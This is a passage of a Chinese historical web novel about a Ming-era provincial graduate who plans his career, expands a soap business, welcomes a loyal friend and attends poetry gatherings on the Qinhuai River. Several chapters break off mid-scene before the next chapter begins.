任由其在小范围内神秘流传。
与彭久亮的“玉衡皂”生意严格切割,
确保无人能将此与“逐利”挂钩。
定期与沭阳保持书信往来,
维持孝悌、念旧的形象。
对赵文萱、王雪茹的来信,
回信需把握分寸,既不过于热络,
也不失礼冷淡。
·目标:在士林清议中获得高度评价,成为“别人家的孩子”。
三、财富(支持活动,经济独立)金钱不是万能的,
但没钱是万万不能的。
无论是维持体面生活、交际应酬、未来官场打点,
乃至某些不可言说的秘密活动,
都需要雄厚的财力支持。
·行动计划:“玉衡皂”生意是现阶段现金奶牛。
指示苏惟山,保持与彭久亮的单线联系,
只收取分红,不干预具体经营,
但需定期查阅账目,防止做假。
要求彭久亮稳步扩大生产,
开拓扬州、苏州等市场,
但必须坚持“高端限量”策略,维持暴利。
所得利润,大部分兑换成易于携带的黄金或全国通兑的银票。
开始留意金陵城中其他低风险、
高回报的投资机会(超频大脑可进行市场分析),
但不亲自出面。
·目标:积累足够支撑数年官场活动及潜在应急的财富。
四、人脉(结交同志,编织网络)独木难成林。
需要盟友,需要羽翼,需要信息渠道。
人脉网络需多层次、多领域构建。
·行动计划:
·核心层:深度绑定文徵明、翟銮这条线,
他们是目前的靠山和引路人。
·潜力层:重点经营与徐阶、唐顺之的关系。
此二人皆非池中之物,且目前地位相对平等,易于结交。
可通过学术探讨、书信往来加深联系。
对李春芳、严訥等少年才俊,保持关注,适时给予善意。
·基础层:与同期举子(如徐明轩,尽管关系微妙)、
国子监优秀监生保持良好关系,
他们是未来的同僚基础。
·特殊层:通过苏惟山,与彭久亮保持良好合作,
此人或可发展为商业上的白手套。
留意招募一两个绝对忠诚、
有能力处理特殊事务的下属(类似家族死士,需慢慢物色)。
·目标:初步构建一个以自己为中心,
涵盖学术、政治、商业潜在力量的初级关系网。
笔尖在纸上划过,发出沙沙的声响。
一项项计划被细化,
一条条措施被明确。
超频大脑如同最优秀的战略官,
将宏大的目标分解为一个个可执行的具体步骤。
心中的躁动与不安渐渐平息,
取而代之的是一种脚踏实地、
掌控方向的充实感。
他将写满计划的纸小心收起,
这不是需要焚毁的密谋,
而是切实的行动指南。
推开窗,晨曦微露,金陵城从沉睡中苏醒。
喧嚣的市井声传来,充满了鲜活而真实的烟火气。
苏惟瑾深吸一口清冷的空气,
活动了一下因久坐而有些僵硬的身体。
“惟山哥”
“在呢,瑾哥儿!”
苏惟山立刻推门进来,精神抖擞。
“去告知彭久亮,
下一季的分红,我要七成兑成金叶子,
三成兑成京城‘四海钱庄’的见票即兑银票。”
“是!”
“另外,去书市,
将最近三年北直隶、山东、山西三地的乡试、
会试程文集子,各买一份最好的回来。”
“好嘞!”
“还有,今日的晨课,
将《春秋》胡安国传再通读一遍,
午后我考校你《禹贡》地理。”
“啊?…是!”
苏惟山脸一苦,但立刻挺胸应下。
看着苏惟山跑开的背影,苏惟瑾微微一笑。
万丈高楼平地起。
现在,就是一砖一瓦夯实基础的时候。
他转身回到书案前,
摊开那本厚重的《大明会典》,
心神很快沉浸进去。
科举之路,从未停下,
只是在这一刻,换上了更稳健、更蓄力的档位。
第111章 产业扩张,组建班底雏形
金陵城的冬日,难得放晴。
阳光透过窗棂,在书案上投下暖融融的光斑。
苏惟瑾搁下笔,将刚写好的家信吹干墨迹,封入信封。
信是写给七叔公的,
除了例行问安和汇报学业,
重点便落在“玉衡皂”的生意扩张和需族人相助之事上。
“瑾哥儿,彭掌柜来了。”
苏惟山在门外禀报,
声音里带着压抑不住的兴奋。
如今他跟着苏惟瑾见了不少世面,
举止沉稳了些,但每逢彭久亮来送分红,
依旧像过年般雀跃。
“请彭掌柜前厅用茶,我即刻便到。”
苏惟瑾整理了一下衣衫,不疾不徐地步出书房。
前厅里,彭久亮一身簇新的杭绸直裰,
胖脸上红光满面,见到苏惟瑾,
立刻起身拱手,笑得见牙不见眼:
“苏相公!托你的福,每日都财源广进,生意兴隆。”
苏惟瑾微笑还礼:“彭掌柜客气了,坐。都是托大家的福。”
他目光扫过彭久亮身边那个沉甸甸的樟木箱子,心中已有计较。
寒暄几句,彭久亮便迫不及待地切入正题,
打开箱子,里面是码放整齐的银锭和几沓银票:
“苏相公,这是上一月的分红,
按您的吩咐,七成兑了足色官银,共四百两;
三成是四海钱庄的银票,
一百七十两。
请您过目。”
他又压低声音,难掩得意:
“咱们的‘玉衡皂’,如今在金陵、苏州、扬州可是这个!”
他翘起大拇指。
“那些富家太太小姐,
就差为抢一块新出的‘兰芷皂’打起来了!
就是产量…实在跟不上啊。”
苏惟瑾示意苏惟山点验银钱,
自己则端起茶盏,轻轻拨弄着浮沫:
“产量跟不上是好事,物以稀为贵。
但我们也不能一直小打小闹。
彭掌柜,有何想法?”
彭久亮精神一振,身体前倾:
“苏相公,小人琢磨着,
一是得扩大工坊,多招可靠的人手,
尤其是信得过的老师傅,
这方子可万万不能漏出去!
二是…咱们能不能再弄点新花样?
比如,加点人参、珍珠粉什么的,
做成美容养颜的‘玉容皂’?
或者加点艾草、薄荷,做成清热祛湿的‘药皂’?
价钱还能再往上翻一番!”
超频大脑瞬间启动,
快速分析着彭久亮的提议:
扩大生产是必然,
但必须绝对保密配方核心环节,
可采用流水作业,每人只负责一步。
新品开发可行,明代已有药皂概念,
但多粗糙,利用现代精细化工思路(虽无设备,但理念可借鉴提纯和配比),
确能打造高端差异化产品。
“彭掌柜所想,与我不谋而合。”
苏惟瑾颔首。
“扩大工坊,招募人手,
开发新品,这三件事都可同步进行。
但我有三点要求。”
“您吩咐!”
彭久亮竖起耳朵。
“第一,工坊管理须得严格。
所有工人须签死契或严苛的保密文书,
分工明确,核心配料环节,
必须由你最信任的人亲自掌握,
可采用分料混合,无人能窥得全方。”
“第二,新品开发,我这里有几点思路。”
苏惟瑾取过纸笔,
快速写了几种可能的药材搭配和预期功效(控制在明代可实现范围内),
“你可先找人少量试制,
效果理想再推出。
记住,宁缺毋滥,维持高端形象。”
“第三,也是最重要的一点,”
苏惟瑾目光锐利地看着彭久亮,
“所有银钱往来,账目必须清晰,
每月报与我查阅。
彭掌柜,我们是合作,
我信你,但规矩不能坏。”
彭久亮背后微微一凉,立刻赌咒发誓:
“苏相公放心!
我彭久亮若是敢在账目上动歪心思,
叫我天打雷劈,不得好死!
一切都按您的规矩来!”
“如此甚好。”
苏惟瑾脸上重新露出笑容。
“具体事宜,彭掌柜可先操办起来。
所需银钱,从分红中支取即可。
另外,我已去信家乡,
不日会有几位族中兄弟前来相助,
到时也可安排进工坊学习管理,
替你分忧。”
彭久亮自然满口答应,
又汇报了些细节,
才心满意足地告辞离去。
送走彭久亮,
苏惟瑾看着那箱银钱,
心中踏实了不少。
经济基础,决定上层建筑。
这笔钱,就是他未来仕途起步的燃油。
然而,他期待的“族中兄弟”却来得并不顺利。
数日后,沭阳回信到了。
七叔公在信中说,消息传开后,
他那两个不成器的叔伯(苏有才苏有德)果然跳了出来,
先是恬不知耻地自荐要来南京“帮衬大侄子”,
被七叔公厉声呵斥驳回后,
竟又退而求其次,
非要派他们那两个游手好闲的儿子过来。
七叔公在信中气得不行:
“…此二子,心术不正,
好逸恶劳,若来金陵,
非但不能助你,必成祸患!
老夫已动用家法,
严令其安守本分,
若再敢生事,定逐出宗族!”
看到这里,苏惟瑾冷笑一声。
真是江山易改,本性难移。
好在七叔公虽看重家族,却也不糊涂。
信纸翻过一页,
七叔公的笔触变得温和了些:
“…惟瑾吾孙,婉儿那丫头甚是乖巧,
如今在族学旁听,认得字愈发多了,
常捧着你的来信反复看。
此次听闻你要用人,
她虽不言,却悄悄找到老夫,
递上一个她亲手缝制的笔袋和两双厚厚的布袜,
针脚细密,说是金陵冬日湿冷,
望兄长保重身体,专心学业,勿以家事为念。
丫头心思细腻,对你这个兄长是真心惦念。
族中如今无人敢再轻慢于她,你大可放心。”
读到此处,苏惟瑾目光柔和下来,
指尖轻轻摩挲着信纸,
好似能透过文字感受到妹妹那份沉静却坚定的关怀。
那小小的笔袋和布袜,
第112章 浊酒粗肴见真心,兄弟聚首
难得有个暖阳天。
苏惟瑾正于院中指点苏惟元、苏惟率二人核对新一期的工坊物料账目,
超频大脑飞快扫过数字,
几个不易察觉的疏漏被一一指出,
引得两个年轻族弟又是佩服又是羞愧。
忽闻院门外传来一阵洪亮如钟的熟悉嗓门,
带着风尘仆仆却难掩的急切:
“惟瑾兄弟!惟瑾兄弟!俺老周来也!”
苏惟瑾闻声,眼中骤然爆出惊喜之色,猛地抬头望去。
只见院门处,
一个高大魁梧的身影几乎堵住了整个门框,
不是周大山又是谁?
他穿着一身半旧的靛蓝棉袍,
腰间胡乱系着布带,
背上挎着个不小的包袱,
脸上胡子拉碴,却咧着一口白牙,
笑得见眉不见眼,
那股子沭阳老家特有的憨直豪迈气息,瞬间扑面而来。
“大山哥!”
苏惟瑾快步迎上,
喜悦之情溢于言表。
“你怎么来了?也不提前捎个信!”
周大山将包袱往地上一撂,
蒲扇般的大手重重拍在苏惟瑾肩上(力道控制得恰到好处,透着亲昵却不失分寸):
“哈哈!俺在沭阳听说你中了举人,
还是头名解元!
俺就寻思,兄弟你如今是文曲星下凡,
老爷身份了,身边没个自己人跑腿撑场面哪行?
俺老周别的不行,就这一把子力气,
还有这颗实心肠!
辞了那破捕快的差事,
俺就来投奔你了!
你看家护院、鞍前马后,俺包了!”
他拍着胸膛,砰砰作响,话语粗粝,
却字字滚烫,透着不容置疑的赤诚。
苏惟瑾心下大为感动。
这正是雪中送炭!
赵胜钱勇虽是老兵,终究初来;
惟元惟率年纪尚轻;
惟山惟虎虽贴心,却非武勇之辈。
周大山知根知底,性情憨直忠义,
有一身好武艺,更是自己在沭阳最落魄时少数给予平等善意之人,
他的到来,无疑是给这初建的班底注入了一根最可靠的定海神针。
“好!好!大山哥你能来,我求之不得!”
苏惟瑾用力握住他的胳膊。
“往后,这小院的安危,
我可就全交给你了!”
“放心!有俺在,
哪个宵小敢来聒噪,
俺把他脑袋拧下来当夜壶!”
周大山把眼一瞪,故作凶恶状,随即又嘿嘿笑起来。
这时,苏惟山、苏惟虎、苏惟元、苏惟率,
还有闻声出来的赵胜、钱勇,
以及探头探脑的小书童小奇都围了过来。
苏惟山和苏惟虎与周大山最是相熟,
立刻笑着各自捶了他一拳:
“好你个周大个子,不声不响就跑来了!
正好,咱们这可就热闹了!”
苏惟元、苏惟率在沭阳时也见过周大山,连忙上前见礼。
赵胜、钱勇自是不必说,
两人在行伍中,早已经和周大山成了生死兄弟。
苏惟瑾见状,心中畅快,大手一挥:
“惟山,去!让前面街口老刘家的食铺送一桌上好的酒菜来!
再打十斤上好的金华酒(黄酒)!
今日给大山哥接风,咱们不醉不归!”
“好嘞!”
苏惟山欢天喜地地跑了出去。
不一会儿,院子里拼起两张大方桌,
各色金陵风味的热炒、卤味、汤羹摆得满满当当,香气四溢。
十斤酒坛开了泥封,
浓烈的酒香混着菜香,勾得人肚里馋虫大作。
众人团团围坐。
苏惟瑾自然坐了主位,
硬拉着周大山坐在身边。
周大山起初还扭捏着不肯,
说尊卑有别,被苏惟瑾一句“这里只有兄弟,
没有老爷”给堵了回去,
只得憨笑着坐下,眼眶却有些发热。
苏惟瑾率先举杯,
目光扫过在场每一张面孔:
憨厚的周大山,机灵的苏惟山,
木讷寡言的苏惟虎,敦厚的苏惟元,
机敏的苏惟率,沉稳的赵胜,
精干的钱勇,还有满脸好奇的小奇。
这些都是他如今最核心的班底,
虽然简陋,却充满了勃勃生机。
“今日,大山哥不远百里而来,我心甚喜!
这第一杯,敬大山哥,
敬这份雪中送炭的兄弟情谊!
也敬在座的各位,
往后,风雨同舟,富贵与共!干!”
“干!”
众人轰然应诺,气氛热烈。
酒过三巡,菜过五味,
席间气氛越发火热。
周大山几碗酒下肚,
话匣子彻底打开,
开始绘声绘色地讲起沭阳的新鲜事。
“说起咱沭阳,最近可有不少乐子!”
周大山抹了把嘴,嘿嘿笑道:“先说苏有才家那个活宝,苏惟强!”
众人一听,都竖起了耳朵,
谁不知道这爷俩当初是怎么欺负苏惟瑾兄妹的。
“这傻货,以前仗着他老子,
在镇上人五人六的。
自打惟瑾兄弟你中了案首,
后来又成了举人老爷,
他们家在族里就彻底抬不起头了。
七叔公盯得紧,他们也不敢再明着使坏。”
“可狗改不了吃屎啊!”
周大山一拍大腿。
“前阵子,苏惟强不知从哪儿听来说书先生讲‘奇货可居’,
就琢磨着也倒腾点啥发财。
你猜他看上了啥?
他居然觉得沭河里的王八(鳖)是宝贝,
跟人吹嘘说这玩意儿大补,
能卖大价钱!花了老鼻子钱,
雇人抓了上百只大王八,
堆在家里后院池子养着,
等着涨价呢!”
众人闻言,哄堂大笑。
苏惟山笑得直拍桌子:
“我的娘诶,王八还能奇货可居?
他当那是珍珠玛瑙呢?”
周大山也乐得前仰后合:
“结果没两天,那些王八互相撕咬,
死了一小半,臭气熏天,
把他家后院弄得跟粪坑似的!
苏有才气得拿着扫帚满院子追着他打,
边打边骂‘我让你奇货可居!
我让你养王八!
老子看你就像个王八!’
哈哈哈哈哈……”
满院子的人更是笑作一团,
苏惟瑾也忍不住莞尔。
超频大脑瞬间模拟出那滑稽的场景,
第113章 亚元访解元,暗流涌金陵
周大山的到来,
如同给苏惟瑾这小院注入了一股粗犷而充满活力的乡野之气。
连着两日,院里都回荡着他洪亮的嗓门和与赵胜钱勇切磋拳脚时的呼喝声,
闹哄哄却充满了烟火人间的踏实感。
这日晌午,
苏惟瑾刚给苏惟元、苏惟率讲解完一篇《文献通考》中的漕运沿革,
院门外却传来一阵舒缓而有节奏的叩门声,
与此前周大山那擂鼓般的动静截然不同。
小奇跑去应门,片刻后快步回来,
脸上带着几分紧张与好奇:
“少爷,门外有位姓徐的公子求见,
说是…说是本届南闱亚元,
特来拜会解元公。”
徐明轩?他来了?
苏惟瑾眉梢微挑。
“快请至前厅看茶,我即刻便到。”
苏惟瑾整理了一下略显随意的居家棉袍,
对惟元惟率道:
“今日先到此,你二人去工坊寻惟山,
将昨日核对的那批蜂蜡入库。”
前厅内,徐明轩负手而立,
正欣赏着壁上悬挂的一幅仿文徵明风格的山水画。
他今日穿着一身月白云纹锦袍,
外罩同色狐裘斗篷,身形修长,
面如冠玉,气质温润中自带一股清贵之气。
与这处略显简朴的小院相比,
他仿佛是从画中走出的玉人。
“徐兄大驾光临,寒舍蓬荜生辉,
惟瑾有失远迎,还望恕罪。”
苏惟瑾步入厅内,拱手笑道,态度不卑不亢。
徐明轩闻声转身,
脸上绽开温和笑意,
拱手还礼:
“苏解元说哪里话,
是明轩冒昧打扰才对。
乡试一别,心念苏解元风采,
今日特来叨扰,还请勿怪。”
他目光清澈,言辞恳切,
并无半分虚情假意或身为亚元前来试探的酸气。
两人分宾主落座,小奇奉上清茶。
徐明轩轻呷一口,赞了声“好茶”,
并非客套,而是真尝出了这看似普通茶叶中的些许不同(苏惟瑾用超频大脑优化过冲泡水温与时间)。
“徐兄今日前来,不只是为品我这粗茶吧?”
苏惟瑾笑问。
徐明轩放下茶盏,神色坦然:
“一是真心道贺。
苏兄解元之位,实至名归,
尤其那篇漕运策论,观点之新,
格局之大,思虑之远,
明轩拜读之后,受益匪浅,
自愧弗如。”
他这话说得真诚无比,眼中满是钦佩之色。
“徐兄过誉了,侥幸而已。
亚元之位,亦是天下翘楚。”
苏惟瑾谦逊道,
心中却对徐明轩的君子之风更添好感。
能如此坦然赞赏竞争对手,心胸非同一般。
“非是侥幸。”
徐明轩摇头,随即眼中泛起学者般的探究光芒。
“苏兄策论中‘数据预警’、‘系统筹划’等提法,精妙绝伦。
尤其是对漕兵漕工安置、
以商补运之设想,
看似大胆,细思之下,
却环环相扣,颇具可行性。
不知苏兄这些见解,源于何处?
可是得了哪位隐逸大贤的指点?”
来了。
苏惟瑾心道,面上却不动声色:
“徐兄谬赞。
哪有什么隐逸大贤,不过是平日杂书看得多些,又喜胡思乱想。
家贫无书,昔日在沭阳时,
常于故纸堆中翻拣些残本野史,
偶见前人只言片语,
便自行揣摩延伸,胡乱想想罢了。
让徐兄见笑。”
他将来源再次推给无从考证的“残本”和“胡思乱想”,
既解释了超前观念的来源,
又符合其寒门出身的人设。
徐明轩闻言,眼中讶色更浓,叹道:
“苏兄真乃天纵奇才!
能从残篇断简中悟出如此经世之道,
明轩佩服!”
他顿了顿,话锋微转,语气稍沉:
“不过,苏兄,有些话,不知当讲不当讲。”
“徐兄但说无妨,惟瑾洗耳恭听。”
徐明轩身体微微前倾,声音压低了些许:
“苏兄之论,固然高妙,
然则…亦不免触动些陈年积弊。
京师之中,关注今科南闱者众,
苏兄这篇策论…
怕是已入了某些人的眼。”
他话语含蓄,但意思却明白
——你的言论可能得罪了京城里某些既得利益集团。
苏惟瑾心中凛然,面色却依旧平静:
“多谢徐兄提点。
惟瑾年少狂妄,只知纸上谈兵,
于世事人情,所知甚浅。
日后还需徐兄这般良友多加指点。”
见苏惟瑾听懂了自己的暗示且应对得体,
徐明轩眼中欣赏之色更浓。
他就怕对方是个一味莽撞、
不通世务的书呆子,
那才可惜了这份才华。
“指点不敢当,互相切磋罢了。”
徐明轩笑道,气氛重新轻松起来。
两人随即又探讨起经义文章,
从《春秋》微言大义谈到朱陆异同,
从八股破题技巧谈到诗词韵律之美。
徐明轩家学深厚,引经据典,信手拈来;
苏惟瑾则凭借超频大脑的海量存储和现代思维视角,
往往能另辟蹊径,提出让人耳目一新的见解。
一番交谈下来,两人皆有酣畅淋漓、相见恨晚之感。
那种顶尖智者之间思想碰撞产生的愉悦,远超寻常应酬。
不知不觉,日头已偏西。
徐明轩虽意犹未尽,却也不得不起身告辞。
“与苏兄一席谈,胜读十年书。
明轩受益良多。”
他真诚说道,走到院门处,
似想起什么,从袖中取出一份素雅请柬。
“三日后,秦淮河畔的‘停云水阁’,
有一小聚,皆是今科得中的江南同乡,
亦有几位寓居金陵的朝中前辈可能莅临。
不知苏兄可否赏光?”
这才是他今日来的另一个重要目的。
邀请苏惟瑾进入江南士子的核心圈子。
苏惟瑾心中一动,这无疑是拓展人脉、打听消息的绝佳机会。
他双手接过请柬,欣然应允:
“承蒙徐兄相邀,惟瑾荣幸之至,定当准时赴约。”
“如此甚好,届时恭候苏兄大驾。”
徐明轩拱手作别,笑容温润。
送走徐明轩,苏惟瑾站在门前,
看着那辆装饰雅致的马车缓缓驶离巷口,目光深邃。
徐明轩的来访,
好似在平静的湖面投下一颗石子。
亚元与解元的交往,
第114章 停云水阁显锋芒,半句诗破
三日后,华灯初上,秦淮河畔流光溢彩,
丝竹管弦之声随着水波荡漾,
空气里都浮动着靡丽繁华的气息。
“停云水阁”并非临河最张扬的那几座画舫楼阁,
反而隐在一处稍稍僻静的河湾,
白墙黛瓦,格局清雅,
乃是江南士林私下高会、不喜俗闹的所在。
苏惟瑾递上徐明轩给的请柬,
自有清秀小厮恭敬引他入内。
一进水阁,暖香夹杂着墨香、茶香扑面而来,
与外间的浮华恍若两个世界。
厅内已到了二三十人,
大多年轻,意气风发,皆是今科南闱脱颖而出的举人,
前十几乎悉数在场。
苏惟瑾一眼便看到了温润含笑的徐明轩,
以及曾有过一面之缘的第三名孙修理、第五名周文斌等人。
更引人注目的是上首几位气度沉凝的中年文士。
经徐明轩低声引见,苏惟瑾心中微震
——竟是理学名家、时任南京国子监司业的欧阳德;
以刚直敢谏、学问渊博著称的崔铣;
还有心学巨擘王阳明的得意门生邹守益!
这几位,皆是名动天下的学者、清流标杆,
能得他们莅临,足见此次文会分量之重。
最令众人意外且暗觉兴奋的是,
席间还有两位女子。
一位身着淡青衣裙,容貌清丽绝俗,
气质却冷冽如霜,怀抱一张古琴,
正是近年来声名鹊起、
以才情和孤高闻名的秦淮清倌人沈香君。
另一位年纪稍长,
衣着素雅,眉目温婉中透着书卷气,
安静地坐在一位气质儒雅、
目光明亮的年轻士子身旁,
苏惟瑾认得就是大名鼎鼎的徐阶,
两人相互颔首算是打了招呼。
徐明轩低声告知:那是徐阶的夫人沈氏,亦通文墨。
如此阵容,可谓江南文坛一次小规模的顶尖聚会。
苏惟瑾这位寒门解元的到来,
自然也吸引了所有目光,
好奇、审视、友善、淡漠兼而有之。
他从容不迫,一一见礼,
态度不卑不亢,言辞得体,
倒是让欧阳德等人微微颔首。
文会伊始,自是饮酒品茗,诗词唱和。
既有歌颂金陵形胜的雄浑之作,
也有即景抒怀的婉约之词。
才子们争相逞才,佳作频出,赢得阵阵喝彩。
徐明轩一首《秦淮秋夜》
凉月浸秦淮,
画舫枕波开。
灯摇秋浦影,
风送桂香来。
清丽空灵获得了大家的好评【表情】
孙修理一篇《金陵赋》金陵赋
钟山峙碧穹,大江走巨龙。
六朝兴废土,十里控吴峰。
城垛凝残雪,秦淮漾晚钟。
古今吞浩气,凭栏望日红。
磅礴大气,皆显露出深厚功底。
轮到苏惟瑾,他略一沉吟,
并未选择宏大题材,
反而以眼前小巧景致入手,
吟了一首七律《停云水阁小酌》:
“曲槛临流碧玉湾,
停云深处隔尘寰。
窗含钟阜千峰紫,
座揽秦淮一桁烟。
名士清谈挥麈尾,
美人妙解拂冰弦。
莫辞酩酊酬良夜,
如此溪山岂易逢?”
诗既扣住水阁环境,
又巧妙赞及在座名士(挥麈尾)与沈香君(拂冰弦),
尾联更流露出对此雅集难得的珍惜,
意境、格律、用典无一不精,
顿时满堂叫好。
欧阳德抚须微笑,崔铣眼中露出激赏,
连冷若冰霜的沈香君,拨动琴弦的指尖也微微一顿。
接着又行“飞花令”,以“月”、“秋”、“江”为题,
轮流吟诵诗句。
这更是考校急才与诗词储备。
举子们你来我往,佳句迭出,气氛热烈。
苏惟瑾的超频大脑此刻如同高速运转的文库,
无论多么生僻的诗句,皆能信手拈来,
应对自如,且每每能在规定字眼上接出意境尤佳的句子,
引得众人连连惊叹,邹守益更是忍不住击节赞叹:
“苏解元之才思,真如泉涌,浩荡无涯!”
文会气氛渐至高潮。
却总有煞风景之人。
一名坐在角落、名叫王料的秀才(似是沾了某位举子的光才得以入场),
见苏惟瑾风头无两,
心中又是嫉妒又是艳羡,
眼珠一转,竟生出一条拙劣的计策。
他早间偶然在巷口听得苏惟瑾与小奇笑谈时,
似是随口吟了半句“数椽幽居近水开”,
当时小奇追问下半句,苏惟瑾却笑而不答,似在斟酌。
王料便记在心里,此刻故意踱到苏惟瑾附近,
蹙眉捻须,作冥思苦想状,
口中反复喃喃:
“数椽幽居近水开…近水开…这下半句,
该如何是好?总觉得差一口气…”
他声音不大,却恰好能让周围几人听见,
目光还时不时瞟向苏惟瑾,
期盼他下意识接出下半句,
自己便可立刻“灵光乍现”,占为己有。
苏惟瑾超频大脑瞬间检索到这段记忆,
再结合王料那闪烁不定、
暗含期待的眼神和极不自然的表演,
立刻洞悉其奸。
心中冷笑一声,面上却不动声色,
反而端起茶盏,悠然品了一口,
一副完全没听到的样子。
王料等了片刻,见苏惟瑾毫无反应,
心中焦躁,又见旁人目光已被吸引过来,
骑虎难下,只得把心一横,
猛地一拍大腿,故作惊喜状:
“有了!
‘数椽幽居近水开,闲看鸥鹭日边来’!
妙啊!哈哈哈!”
吟罢,还得意地环顾四周,
期待收获几句称赞。
周围安静了一下。
这下半句看似工整,实则平淡无奇。
“日边来”与“近水开”意境衔接也显生硬。
几位名士微微蹙眉。
就在这时,苏惟瑾放下茶盏,
轻轻“咦”了一声,
目光温和地看向王料,
开口道:
“这位兄台所续,
平仄倒是大体相合。
只是…‘数椽幽居’乃清幽僻静之趣,
‘近水’更添灵动,
然‘日边来’略显浮泛高远,
与上句隐逸闲适之境稍隔。
第115章 画舫夜话,清音暗香渡
停云水阁文会后不过两日,
一封素雅馨香的请柬
便由一位眉目清秀的小丫鬟送到了苏惟瑾的小院。
柬上字迹清丽婉约,内容简洁,
只道“秦淮画舫,略备薄酒,
请苏解元赏光一叙”,
落款是“香君”。
苏惟瑾捏着这还带着淡淡幽香的纸笺,嘴角微扬。
那日沈香君虽言语不多,
但偶尔投来的目光却带着探究与一丝不易察觉的欣赏,
超频大脑早已记录在案。
这位色艺双绝、性子却冷傲的清倌人主动相邀,倒也不算意外。
是夜,华灯溢彩,秦淮河上画舫如织,笙歌不绝。
苏惟瑾按柬上所示,
登上一艘并不起眼却极为精致的画舫。
舫内陈设清雅,并无寻常欢场的奢靡之气,
反而更像一间精心布置的书斋,
琴棋书画俱备,熏香也是清冷的松木调。
沈香君今日未抱古琴,
只着一身藕荷色素面长裙,
乌发松松绾起,斜插一支玉簪,
淡扫蛾眉,却越发衬得肌肤胜雪,清丽绝伦。
见苏惟瑾进来,她并未起身,
只微微颔首,素手轻抬示意:
“苏解元来了,请坐。”
声音清冷如玉石相击,
却并无怠慢之意,
反而有种熟稔的自然。
“沈大家相邀,惟瑾荣幸之至。”
苏惟瑾拱手一礼,
在她对面安然坐下,目光坦荡欣赏,
却无半分狎昵。
小丫鬟悄无声息地奉上香茗点心,
又悄然退下。
画舫轻轻离岸,滑入波光粼粼的河心,
将岸上的喧嚣稍稍隔开。
“前日水阁之中,
解元一首《停云水阁小酌》,
一句‘偶逢樵客问棋来’,令人印象深刻。”
沈香君纤指抚过茶盏边缘,开门见山。
“香君冒昧,敢问解元,于词曲一道,可有涉猎?”
苏惟瑾心中微动,知是正题来了,微笑道:
“略知皮毛。
词为诗余,曲又为词余,
皆抒发性情之物。
只是小子年轻,
于人生况味体会不深,不敢妄作。”
沈香君抬眼看他,美眸中流光一闪:
“解元过谦了。
香君以为,诗词曲赋,贵在真情与意境,
而非一味堆砌年岁阅历。
譬如解元那‘樵客问棋’,
便非饱经沧桑者不能道出,
然解元信手拈来,可见灵性天成。”
她顿了顿,似在斟酌语句,终是轻声道:
“不瞒解元,香君近日偶得一词牌,
苦思数日,竟难以下笔,
总觉所作皆落俗套,
失了该有的空灵意境。
不知解元…可否赐教一二?”
她说着,取过一张花笺,
其上用工楷写着一个词牌名
——《苏幕遮》。
苏惟瑾超频大脑瞬间启动,
无数《苏幕遮》名篇汹涌而过,
从范仲淹的“碧云天”到周邦彦的“燎沉香”,
乃至后世纳兰性德等人的作品皆清晰呈现。
他略一沉吟,并未直接给出任何成品,
而是缓声道:
“《苏幕遮》,原为西域舞曲,
唐时传入,本带异域风情,
后转为词牌,宜写羁旅秋思,
格调可苍凉,可婉约。
其关键在于上下阕中间两个五字句,
须对仗工整,且能承上启下,转接自然。”
他这番从词牌源头、风格到技术要点的剖析,
已然超出当下多数词人的认知,
显得极为专业。
沈香君听得美目渐亮,
不由追问道:“那意境该如何把握?”
苏惟瑾想起后世对词的某些美学理解,斟酌道:
“或可尝试‘造境’而非‘写境’。
不直接摹写愁苦,
而是通过意象组合,
营造一种氛围,让读者自行体会。
比如…”
他略顿,脑中组合着意象。
“不必直言秋寒,
可写‘碧云天,黄叶地,秋色连波,波上寒烟翠’;
不必直诉乡愁,可道‘明月楼高休独倚,酒入愁肠,化作相思泪’。”
他信口引用的虽是范文正公的名句,
但在此时却绝对是石破天惊的新论!
尤其是“造境”之说,
更是精准概括了高级词作的审美核心!
沈香君整个人都怔住了,
檀口微张,难以置信地看着苏惟瑾。
她浸淫词曲多年,
从未听过如此精辟透彻的论述!
那几句示例,虽只碎片,
却已勾勒出一片辽阔而苍凉的秋思之境,
意境之高远,用词之精炼,远超她的想象!
“碧云天…黄叶地…波上寒烟翠…”
她喃喃重复着,眼中爆发出璀璨的光彩,
仿佛推开了一扇全新的窗户,
“酒入愁肠,化作相思泪…妙…太妙了!
解元真乃天人也!”
她激动得声音都有些发颤,
再看苏惟瑾时,目光已彻底不同,
充满了叹服与一种近乎崇拜的惊喜。
“沈大家谬赞了,不过是偶有所感,胡言乱语罢了。”
苏惟瑾适时收住,含笑品茶。
沈香君却久久无法平静,
她深吸几口气,
看向苏惟瑾的眼神变得极为复杂,
有欣赏,有好奇,
更有一种难以言喻的惋惜:
“解元有此惊世之才,
却…却要走科举仕途。
那庙堂之上,波谲云诡,
尽是算计倾轧,
只怕…只怕会磨灭了这份灵性。”
她话语中透出的关切与隐隐的担忧,
已然超出了普通才艺探讨的范畴。
苏惟瑾心中了然,
这位沈大家,恐怕并非表面看上去那么简单只是一个清高才女。
他放下茶盏,目光投向舷窗外流淌的秦淮灯火,
声音平静却坚定:
“灵植于野,可自赏孤芳;
然若生于庭阶,或能遮荫一方。
世间路万千,各有所求罢了。
何况,诗词灵性,源于本心,而非环境。
只要本心不改,何处不可吟风弄月?”
沈香君闻言,眸中异彩更盛,
沉默片刻,终是幽幽一叹:
“解元之心志,非常人可及。
第116章 画舫秘语,风月暗藏机锋
自那夜画舫一晤,
苏惟瑾与沈香君之间,
便似有了一条无形的丝线牵连。
偶尔,苏惟瑾会以请教词曲为名,递帖拜访。
沈香君多半会允,
两人或在她的“听雪小筑”(一处临河的幽静居所),
或再上画舫,煮茶论艺,言谈甚欢。
这日午后,细雨霏霏,
秦淮河上烟波朦胧。
听雪小筑内,暖炉融融,
沈香君素手调琴,弹的是一曲《潇湘水云》,
琴音淙淙,与窗外雨声相和,更显清寂。
苏惟瑾静坐聆听,
超频大脑不仅记下每一个音符,
更敏锐地捕捉到琴音中一丝若有若无的忧悒。
一曲终了,余韵袅袅。
沈香君轻按琴弦,默然片刻,
方才抬眼看向苏惟瑾,
唇角牵起一丝浅淡笑意:
“苏解元近日忙于备考,
还有闲情来听我这俗音?”
“沈大家之音,如清泉漱石,何来俗字?
正是备考烦闷,才需此清音涤荡心尘。”
苏惟瑾微笑,递上一盒新制的“玉衡皂”(特供版,加了更名贵的香料)。
“小小俗物,聊助沈大家盥洗时添些清香。”
沈香君接过,打开嗅了嗅,
眼中露出一丝衷心的喜欢:
“解元有心了。
这‘玉衡皂’如今在金陵可是紧俏得很,
多少闺阁小姐求而不得呢。”
她语气随意,似是无心之言。
苏惟瑾心中却是一动,
顺着话头道:
“不过是些小玩意,承蒙诸位不弃。
